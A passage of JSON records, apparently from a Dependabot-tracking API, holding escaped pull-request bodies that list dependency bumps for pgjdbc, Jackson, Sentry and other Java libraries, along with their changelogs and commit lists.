href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.10] (2026-02-11)\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: Migrate to Shadow 9 \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3931\"\u003ePR 3931\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: fix empty line before javadoc for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3925\"\u003e#3925\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3925\"\u003epgjdbc/pgjdbc#3925\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003estyle: fix lambda argument indentation for checkstyle compliance [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3922\"\u003e#3922\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3922\"\u003epgjdbc/pgjdbc#3922\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add autosave=always|never|conservative and cleanupSavepoints=true|false to the randomized CI jobs [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3917\"\u003e#3917\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3917\"\u003epgjdbc/pgjdbc#3917\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: non-standard strings failing test for version 19 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3934\"\u003e#3934\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3934\"\u003epgjdbc/pgjdbc#3934\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: small issues in ConnectionFactoryImpl [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3929\"\u003e#3929\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3929\"\u003epgjdbc/pgjdbc#3929\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: process pending responses before fastpath to avoid protocol errors \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3913\"\u003ePR # 3913\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edoc: use.md, fix typos [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3911\"\u003e#3911\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3911\"\u003epgjdbc/pgjdbc#3911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: datasource.md, fix minor formatting issue [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3912\"\u003epgjdbc/pgjdbc#3912\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edoc: add the new PGP signing key to the official documentation [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3912\"\u003e#3912\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3813\"\u003epgjdbc/pgjdbc#3813\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverted\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: make all Calendar instances proleptic Gregorian (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3837\"\u003e#3837\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3887\"\u003e#3887\u003c/a\u003e)\u0026quot; [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3932\"\u003e#3932\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3932\"\u003epgjdbc/pgjdbc#3932\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e[42.7.9] (2026-01-14)\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.4.4...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n","html_url":"https://github.com/apache/drill/pull/3048","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/apache%2Fdrill/issues/3048","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/3048/packages"}},{"old_version":"42.7.10","new_version":"42.7.11","update_type":"patch","path":null,"pr_created_at":"2026-05-14T00:27:03.000Z","version_change":"42.7.10 → 42.7.11","issue":{"uuid":"4442091877","node_id":"PR_kwDOP3VK-c7bVHXb","number":413,"state":"closed","title":"Bump the gradle-updates group across 1 directory with 12 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-21T01:34:52.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-14T00:27:03.000Z","updated_at":"2026-05-21T01:34:54.000Z","time_to_close":608869,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"gradle-updates","update_count":12,"packages":[{"name":"tools.jackson.core:jackson-core","old_version":"3.1.2","new_version":"3.1.3","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"io.sentry:sentry-bom","old_version":"8.38.0","new_version":"8.41.0","repository_url":"https://github.com/getsentry/sentry-java"},{"name":"au.com.dius.pact.consumer:junit5","old_version":"4.6.20","new_version":"4.7.1","repository_url":"https://github.com/pact-foundation/pact-jvm"},{"name":"org.jsoup:jsoup","old_version":"1.22.1","new_version":"1.22.2","repository_url":"https://github.com/jhy/jsoup"},{"name":"io.sentry.jvm.gradle","old_version":"6.4.0","new_version":"6.6.0","repository_url":"https://github.com/getsentry/sentry-android-gradle-plugin"},{"name":"au.com.dius.pact","old_version":"4.6.20","new_version":"4.7.1"},{"name":"com.deque.html.axe-core:playwright","old_version":"4.11.1","new_version":"4.11.3","repository_url":"https://github.com/dequelabs/axe-core-maven-html"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.3","repository_url":"https://github.com/FasterXML/jackson"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.projectlombok:lombok","old_version":"1.18.44","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the gradle-updates group with 11 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [tools.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `3.1.2` | `3.1.3` |\n| [io.sentry:sentry-bom](https://github.com/getsentry/sentry-java) | `8.38.0` | `8.41.0` |\n| [au.com.dius.pact.consumer:junit5](https://github.com/pact-foundation/pact-jvm) | `4.6.20` | `4.7.1` |\n| [org.jsoup:jsoup](https://github.com/jhy/jsoup) | `1.22.1` | `1.22.2` |\n| [io.sentry.jvm.gradle](https://github.com/getsentry/sentry-android-gradle-plugin) | `6.4.0` | `6.6.0` |\n| au.com.dius.pact | `4.6.20` | `4.7.1` |\n| [com.deque.html.axe-core:playwright](https://github.com/dequelabs/axe-core-maven-html) | `4.11.1` | `4.11.3` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.3` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.44` | `1.18.46` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `tools.jackson.core:jackson-core` from 3.1.2 to 3.1.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6956129ace69d7d28dfde174be6490e1707b43ae\"\u003e\u003ccode\u003e6956129\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-3.1.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/2796462b783180ad13cc9c8a6dbe1e8efe221e62\"\u003e\u003ccode\u003e2796462\u003c/code\u003e\u003c/a\u003e Prep for 3.1.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/87c70b305d74b3bfff32fab0daebfec12f6a8301\"\u003e\u003ccode\u003e87c70b3\u003c/code\u003e\u003c/a\u003e Merge branch '2.x' into 3.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/f21195dc779d1fcf7e25dd1ba445bbd524536efc\"\u003e\u003ccode\u003ef21195d\u003c/code\u003e\u003c/a\u003e Merge branch '2.21' into 2.x\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/59fb9cc1bbe4424221b171e88b37bcbdbdba1c50\"\u003e\u003ccode\u003e59fb9cc\u003c/code\u003e\u003c/a\u003e Post-release dep version bump\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/3cb88d1cf3bc30e9629af25f0f503db236b508e2\"\u003e\u003ccode\u003e3cb88d1\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare for next development iteration\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/5815636064ca5f5f2f5af0a91c7ad96368c239e7\"\u003e\u003ccode\u003e5815636\u003c/code\u003e\u003c/a\u003e [maven-release-plugin] prepare release jackson-core-2.21.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/6e728f9bde605f98e34d67d5db0a1b530b0a9bfd\"\u003e\u003ccode\u003e6e728f9\u003c/code\u003e\u003c/a\u003e Prep for 2.21.3 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/4e30cf21ca4faeffa062ae13730fade890ce2540\"\u003e\u003ccode\u003e4e30cf2\u003c/code\u003e\u003c/a\u003e Merge branch '2.20' into 2.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/FasterXML/jackson-core/commit/1429fffeca1eee24d7c3d7a0887c5ac10cac7a58\"\u003e\u003ccode\u003e1429fff\u003c/code\u003e\u003c/a\u003e Merge branch '2.19' into 2.20\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/FasterXML/jackson-core/compare/jackson-core-3.1.2...jackson-core-3.1.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tools.jackson.core:jackson-databind` from 3.1.2 to 3.1.3\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/FasterXML/jackson/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.sentry:sentry-bom` from 8.38.0 to 8.41.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-java/releases\"\u003eio.sentry:sentry-bom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.41.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSession Replay: experimental support for capturing \u003ccode\u003eSurfaceView\u003c/code\u003e content (e.g. Unity, video players, maps) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5333\"\u003e#5333\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eTo enable, set \u003ccode\u003eoptions.sessionReplay.isCaptureSurfaceViews = true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr via manifest: \u003ccode\u003e\u0026lt;meta-data android:name=\u0026quot;io.sentry.session-replay.capture-surface-views\u0026quot; android:value=\u0026quot;true\u0026quot; /\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWarning:\u003c/strong\u003e masking granularity is at the SurfaceView level only — the SDK cannot mask individual elements rendered inside the SurfaceView (e.g. native Unity UI, map labels, video frames). Only enable for SurfaceViews whose content is safe to record.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eSentry.feedback()\u003c/code\u003e API for \u003ccode\u003eshow()\u003c/code\u003e and \u003ccode\u003ecapture()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5349\"\u003e#5349\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSentry.showUserFeedbackDialog()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().show()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureFeedback()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureUserFeedback()\u003c/code\u003e and \u003ccode\u003eUserFeedback\u003c/code\u003e are deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e with the new \u003ccode\u003eFeedback\u003c/code\u003e type\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentryUserFeedbackDialog\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAll deprecated APIs will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eSentryUserFeedbackButton\u003c/code\u003e (View-based and Compose-based) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5350\"\u003e#5350\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd per-form shake-to-show support for \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5353\"\u003e#5353\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eUseful for enabling shake-to-report on specific screens instead of globally\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"kotlin\"\u003e\u003ccode\u003eSentryUserFeedbackForm.Builder(activity)\n  .configurator { it.isUseShakeGesture = true }\n  .create()\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd support for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5249\"\u003e#5249\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eYou will need to add the \u003ccode\u003esentry-kafka\u003c/code\u003e dependency and opt-in via the new option.\n\u003cul\u003e\n\u003cli\u003eSet \u003ccode\u003eoptions.setEnableQueueTracing(true)\u003c/code\u003e on \u003ccode\u003eSentry.init\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr set \u003ccode\u003esentry.enable-queue-tracing=true\u003c/code\u003e in \u003ccode\u003eapplication.properties\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFor Spring Boot Kafka is auto instrumented and no further configuration is needed.\n\u003cul\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eWhen using \u003ccode\u003ekafka-clients\u003c/code\u003e directly\n\u003cul\u003e\n\u003cli\u003eyou need to wrap your \u003ccode\u003eKafkaProducer\u003c/code\u003e via \u003ccode\u003eSentryKafkaProducer.wrap(kafkaProducer)\u003c/code\u003e to get \u003ccode\u003equeue.publish\u003c/code\u003e spans\u003c/li\u003e\n\u003cli\u003eand you may use our \u003ccode\u003eSentryKafkaConsumerTracing.withTracing\u003c/code\u003e helper to instrument the consumer side manually.\u003c/li\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix soft input keyboard not being shown on the Feedback form (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5359\"\u003e#5359\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix shake-to-report not triggering on some devices due to high acceleration threshold (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix feedback form retaining previous message when shown again via shake (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump Native SDK from v0.13.7 to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5334\"\u003e#5334\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5365\"\u003e#5365\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/blob/master/CHANGELOG.md#0140\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/compare/0.13.7...0.14.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Gradle from v9.4.1 to v9.5.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5344\"\u003e#5344\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/blob/master/CHANGELOG.md#v950\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.40.0\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/getsentry/sentry-java/blob/main/CHANGELOG.md\"\u003eio.sentry:sentry-bom's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.41.0\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSession Replay: experimental support for capturing \u003ccode\u003eSurfaceView\u003c/code\u003e content (e.g. Unity, video players, maps) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5333\"\u003e#5333\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eTo enable, set \u003ccode\u003eoptions.sessionReplay.isCaptureSurfaceViews = true\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr via manifest: \u003ccode\u003e\u0026lt;meta-data android:name=\u0026quot;io.sentry.session-replay.capture-surface-views\u0026quot; android:value=\u0026quot;true\u0026quot; /\u0026gt;\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWarning:\u003c/strong\u003e masking granularity is at the SurfaceView level only — the SDK cannot mask individual elements rendered inside the SurfaceView (e.g. native Unity UI, map labels, video frames). Only enable for SurfaceViews whose content is safe to record.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eSentry.feedback()\u003c/code\u003e API for \u003ccode\u003eshow()\u003c/code\u003e and 